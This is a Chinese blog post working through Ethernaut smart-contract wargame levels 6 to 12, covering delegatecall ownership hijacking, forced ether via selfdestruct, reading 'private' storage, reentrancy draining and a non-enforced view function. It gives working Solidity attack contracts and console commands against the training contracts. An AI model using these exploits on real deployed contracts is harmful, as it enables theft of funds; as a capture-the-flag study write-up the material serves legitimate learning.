Bubbles~blog

用爱发电

从Ethernaut学习智能合约审计(二)

6.Delegation

这次的挑战的目标还是取得合约的owner
代码如下

pragma solidity ^0.4.18;
 
contract Delegate {
 
  address public owner;
 
  function Delegate(address _owner) public {
    owner = _owner;
  }
 
  function pwn() public {
    owner = msg.sender;
  }
}
 
contract Delegation {
 
  address public owner;
  Delegate delegate;
 
  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }
 
  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}

在这里我们看到了两个合约,Delegate初始时接收传入的address将其设定为owner,下面一个pwn函数也引起我们的注意,从名字也能看出挺关键的

下面的Delegation合约则实例化了上面的合约,它的fallback函数使用了delegatecall来调用其中的delegate合约,这里delegatecall就是问题的关键所在

我们经常会使用call函数来进行合约交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏

在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称,具体的可以参见此处的abi协议的函数选择器函数选择器

所以接下来就很简单了,sha3我们可以直接通过web3.sha3来调用,而delegatecall在fallback函数里,我们得想办法来触发它,前面已经提到有两种方法来触发,但是这里我们需要让delegatecall使用我们发送的data,所以这里我们直接用封装好的sendTransaction来发送data,其实到了这里我也知道了前面fallback那关我们也可以使用这个方式来触发fallback函数

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});

道理还是很简单的,现在我们来看owner应该就变成我们的player了

7.Force

这次挑战的目标是让合约的balance比0多

来看代码,一脸懵逼

pragma solidity ^0.4.18;
 
contract Force {/*
 
                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)
 
*/}

这只猫是什么鬼,代码咋啥都没有,合约里并没有任何可以接收数据的地方,你可能会觉得这题莫名奇妙

然而事实上在以太坊里我们是可以强制给一个合约发送eth的,不管它要不要都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点,这里确实是比较有趣了

接下来就非常简单了,我们创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给我们的目标合约就行了

contract Selfdestruct{
  function Selfdestruct() payable{}
  function attack() payable{
    selfdestruct(your instance address);
  }
}

这里注意给合约的构造函数添上payable以便我们在合约建立时存点eth进去,所以这里在部署合约时如果你是在remix上,那么在run下面的环境里记得给value填一个值表示你要给合约多少初始资金,部署后调用attack函数即可完成攻击,然后在我们的console里提交即可

8.Vault

通关条件是解锁这个合约
代码如下

pragma solidity ^0.4.18;
 
contract Vault {
  bool public locked;
  bytes32 private password;
 
  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }
 
  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

从代码里可以看到我们需要得到它的密码来调用unlock函数以解锁合约,而且我们注意到在开始它是直接定义存储了password的,虽然因为是private我们不能直接看到,然而我们要知道这是在以太坊上,这是一个区块链,它是透明的,数据都是存在块里面的,所以我们可以直接拿到它

这里我们通过getStorageAt函数来访问它,getStorageAt函数可以让我们访问合约里状态变量的值,它的两个参数里第一个是合约的地址,第二个则是变量位置position,它是按照变量声明的顺序从0开始,顺次加1,不过对于mapping这样的复杂类型,position的值就没那么简单了,当然这里并没有涉及,有兴趣的可以去看看

从代码里可以看到password是第二个声明的,在console里运行

web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/');
web3 = new Web3(web3Provider);
web3.toAscii(web3.eth.getStorageAt(contract.address,1))

因为直接调用metamask下的web3似乎必须带上callback回调函数访问getStorageAt,所以这里我稍微改了改,因为存储方式是hex,我们转换了一下,就得到了password
然后提交给unlock函数即可

9.King

游戏很简单,你给的钱比prize多你就是新国王,但是如果你提交的话那么合约就会回退,让level重新成为国王,你的目标就是阻止这一情况

代码如下

 
pragma solidity ^0.4.18;
 
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
 
contract King is Ownable {
 
  address public king;
  uint public prize;
 
  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }
 
  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

代码很简单,也没什么好说的,构造函数先将king确定为level,并定下prize值,我们可以通过contract.prize()查看

prize=await contract.prize()
fromWei(prize.toNumber())

得到的prize应该是1 eth,我们看到合约的fallback函数里就是实现value值的比较部分,这要求我们发送超过1个eth的value来成为king,直接调用sendTransaction

contract.sendTransaction({value:toWei(1.0001)})
 
contract.king()

这时我们应该已经成为king了,然而我尝试提交后发现成功通关了,再来看king的值却还是我自己,并木有发生改变,让我有点纳闷,等了一会也没有任何变化,真是奇怪。。。

10.Re-entrancy

这里的目标要求我们盗取合约里所有的eth

代码如下

pragma solidity ^0.4.18;
 
contract Reentrance {
 
  mapping(address => uint) public balances;
 
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }
 
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
 
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
 
  function() public payable {}
}

其实这里讲的就是以太坊里的重入攻击,这也是之前The DAO事件里黑客所用到的攻击

我们回到代码上,前面都很简单,donate是用来增加你的balance的,我们重点来看withdraw函数,我们看到它接收了一个_amount参数,将其与发送者的balance进行比较,不超过发送者的balance就将这些_amount发送给sender,同时我们注意到这里它用来发送ether的函数是call.value,发送完成后,它才在下面更新了sender的balances,这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,同样利用的是我们熟悉的fallback函数

当然,这里还有另一个关键的地方就是它使用的call.value函数,当我们使用call.value()来调用代码时,执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行,对应的,如果我们使用transfer和send函数来发送时,代码被补贴的gas仅有2300而已,这点gas可能仅仅只够捕获一个event,所以也将无法进行可重入攻击,因为send本来就是transfer的底层实现,所以他两性质也差不多,不过实际上这样的解决方案还是偏粗暴了一点,毕竟有些情况还是要求我们去执行fallback函数,所以具体的环境下问题的解决还是比较复杂的

攻击代码如下

pragma solidity ^0.4.18;
 
contract Reentrance {
 
  mapping(address => uint) public balances;
 
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }
 
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
 
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
 
  function() public payable {}
}
 
contract ReentrancyPwn{
    Reentrance public reentrance;
    address target = your instance address;    
    // Constructor
    function ReentrancyPwn()public payable{
        reentrance = Reentrance(target);
    }
 
    // For sending the stolen money to my self :)
    function attack() public payable {
        reentrance.withdraw(0.5 ether);
    }
 
    function() payable {
        reentrance.withdraw(0.5 ether);  
    }
}

这里的关键就在于我们的fallback函数,当它被调用时它将调用受攻击合约的withdraw函数来继续给我们的攻击合约发送ether,这样在我们的攻击合约上就会又一次调用fallback函数,这样就形成了一个递归调用,而受攻击合约就一直堵在了call.value,知道将合约内的所有ether都发送完

部署时记得给点初始资金,然后我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查

命令行下运行

contract.donate.sendTransaction(your_attack_address,{value: toWei(1)})

这样就成功给我们的攻击合约的balance增加了1 ether,这里的sendTransaction跟web3标准下的用法是一样的,这时你再使用getbalance去看合约拥有的eth就会发现变成了2,说明它本来上面存了1个eth,然后我们返回攻击合约运行attack函数应该就可以完成攻击了,但是这里我尝试时却一直没有收到ether,不知道是什么情况,这也让我头疼了很久,暂时就当作成功了吧,关键是要把道理弄清楚

11.Elevator

这个电梯似乎并不会让你到达顶层,所以我们的目标就是绕过这一限制

代码如下

pragma solidity ^0.4.18;
 
 
interface Building {
  function isLastFloor(uint) view public returns (bool);
}
 
 
contract Elevator {
  bool public top;
  uint public floor;
 
  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
 
    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

在开头有一个Building接口,定义了isLastFloor函数,返回值是bool,应该是用来返回这一楼层是否是最顶层,在接口里没有函数是已实现的,类似于抽象合约,可以理解为它仅仅用来提供一个标准,这样继承于它的合约就可以遵照它的标准来进行交互,而接口内的函数在其调用合约内定义即可

到下面我们的主合约里,可以看到top是一个bool变量,在goto函数里,对我们传入的_floor变量进行了判断,但是我们注意到判断的条件里先是要求isLastFloor返回false,通过if后再把isLastFloor的返回值赋给top,这样的话我们的top还是个false,要想绕过这个我们就得想个办法在isLastFloor上动动手脚

一个比较简单的方法就是在isLastFloor里我们先对返回值做一个反转,这样就能实现传递给top的值是true了,不过事实上我们来看Building接口里对isLastFloor函数的定义,其中的修饰符除了public还有view,view表示函数会读取合约变量,但是不会修改任何合约的状态,这就让我感觉难办,如果不能更改变量那我们的目的就很难达到了

然而事实上对于view这一修饰,在solidity编译器里其实并没有强制你去执行,它似乎仅仅期望你去遵守,换句话说你无视view这一修饰去修改变量编译器也并不会报错,这就有点意思了,view这一修饰似乎只是变成了一个承诺,期望你去遵守,对于违约者并没有什么限制,或许在以后的版本里会得到修复吧

攻击代码如下

contract Elevator {
  bool public top;
  uint public floor;
 
  function goTo(uint _floor) public {
}
}
 
contract ElevatorAttack {
  bool public isLast = true;
  address target=your instance address;
 
  function isLastFloor(uint) public returns (bool) {
    isLast = ! isLast;
    return isLast;
  }
 
  function attack() public {
    Elevator elevator = Elevator(target);
    elevator.goTo(100);
  }
}

这样调用goTo时里面执行的就是我们当前代码环境下的isLastFloor,也是不在遵守view的isLastFloor,运行attack,我们的攻击即可成功

12.Privacy

说实话这道题开始看到难度还真把我吓了一跳,毕竟前面最高的难度也不过是六星,而这上面显示的上限也是六星,没想到它直接给我来了个八星,开始时我是感觉挺凉的
首先来看代码

pragma solidity ^0.4.18;
 
contract Privacy {
 
  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;
 
  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
 
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
 
  /*
    A bunch of super advanced solidity algorithms...
 
      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

前面定义了一大堆的变量常量,然后在构造函数里它又初始化了data变量,这是一个bytes32数组,这里的情况是我们无法控制的,可以不用关心,下面的unlock函数里要求我们传入的_key与它保存的data数组的索引为2的变量相等,值得注意的是这里将bytes32向bytes16做了个转换,如果校验成功就可以成功unlock,这也是题目给我们的目标

看完代码我们的目的就很明确了,需要找出链上保存的data变量的值,这里跟我们前面做的vault那题很像,可以说是进阶版,下面题目给的提示也向我们说明了这一点,它还让我们更多地去了解智能合约的存储的有关知识

一开始我们可以先尝试直接使用getStorageAt去读取数据试试,如果按照vault的经验,那么除去constant常量,在链上保存的变量应该有0到6这七个索引

web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/');
web3 = new Web3(web3Provider);
web3.eth.getStorageAt(contract.address, i)//i 0~6
//data we get
0x00000000000000000000000000000000000000000000000000000065cdff0a01
0x8ce6f94d33473ce8b45bee3bc68859082f4b860d41391f6357cf3b4a3c942b9d
0xfd9dc575a907c0b5fef00b7268d783b8796fe1bceb64d7ec9d09d4c604ba36f8
0x62fbd13b9b396cf1bca79e0cfb0c32464629796d09f4624ff1d273358023647c
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000

然后你就会感觉比较懵逼,完全看不懂这分布是什么情况,只有前面四个索引有数据,其它的都是空的,然后你尝试对这些用ascii来解码会发现都是乱码,当然这里感觉确实有点坑,我们后面再说

其实在这里主要是涉及到了solidity的存储优化问题,我们知道在以太坊上进行操作都是要消耗gas的,除非你只是查询块里的信息,在这些操作里消耗gas最多的就是存储操作了,而且是比其他操作多的多,另外gas一方面对我们用户来说那都意味着钱啊,一方面也要消耗系统的算力,所以在solidity编译器里就对这些数据的存储做了一定的优化

EVM虚拟机是一个256位的机器,所以它的一个存储位我们也看到了就是32个字节,因此在solidity里就有这么个优化的规则,即你定义的这个变量所占的空间小于32个字节时,它所占据的这个存储位的空间可以与它后面的变量共享,当然前提是这个变量塞的下去,这里主要是利用了在EVM里将数据写入一个新位置和写入一个已经分配出来的位置所需的gas是不一样的,所以这种优化方案就可以省出来很多的gas

知道了这些的话其实我们这里就很好理解了,我们再来看看我们前面定义的这几个变量

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);

其中ID是个常量不占存储位不用关注,其它的几个变量所占的空间都比32字节少,其中bool占两个字节,uint8占两个,uint16占四个,所以前面我们查询到的第一个存储位的数据就可以解释了,我们将它后面存了数据的几位按我们前面的数据位划分开
65cdff0a01
01 -> bool true
0a -> uint8 10
ff -> uint8 255
65cd -> uint16 now
刚好都能对上,那么我们所需要的data数据就是下面的这三个存储位的内容了,data[2]所代表的就是index为3的存储位,不过到了这其实还有一个问题,代码中是将data的数据向bytes16做了个转换,将bytes32的数据转换为了bytes16,这部分内容其实也挺有趣,我们可以做一个简单的测试

pragma solidity ^0.4.18;
 
contract bytestest {
    bytes32 public a ="just a simple test";
    bytes16 public b=bytes16(a);
    bytes8 public c = bytes8(a);
    bytes32 public d = bytes32(b);
}

得到的结果如下图

在这里我们可以看到事实上solidity里的转换是非常直接的,感觉就是做了个切片,bytes多少就直接取前多少个字节,不足的就在后面补0,uint类型的转化其实也挺有意思,在下一关里我们将面对的挑战也与这有关

那么现在这个挑战就很简单了,我们取index为3的data的数据的前半部分作为参数传递给unlock函数即可
contract.unlock(web3.toAscii(’62fbd13b9b396cf1bca79e0cfb0c3246′))

这里它data存的数据确实都是乱码,感觉挺坑的。。。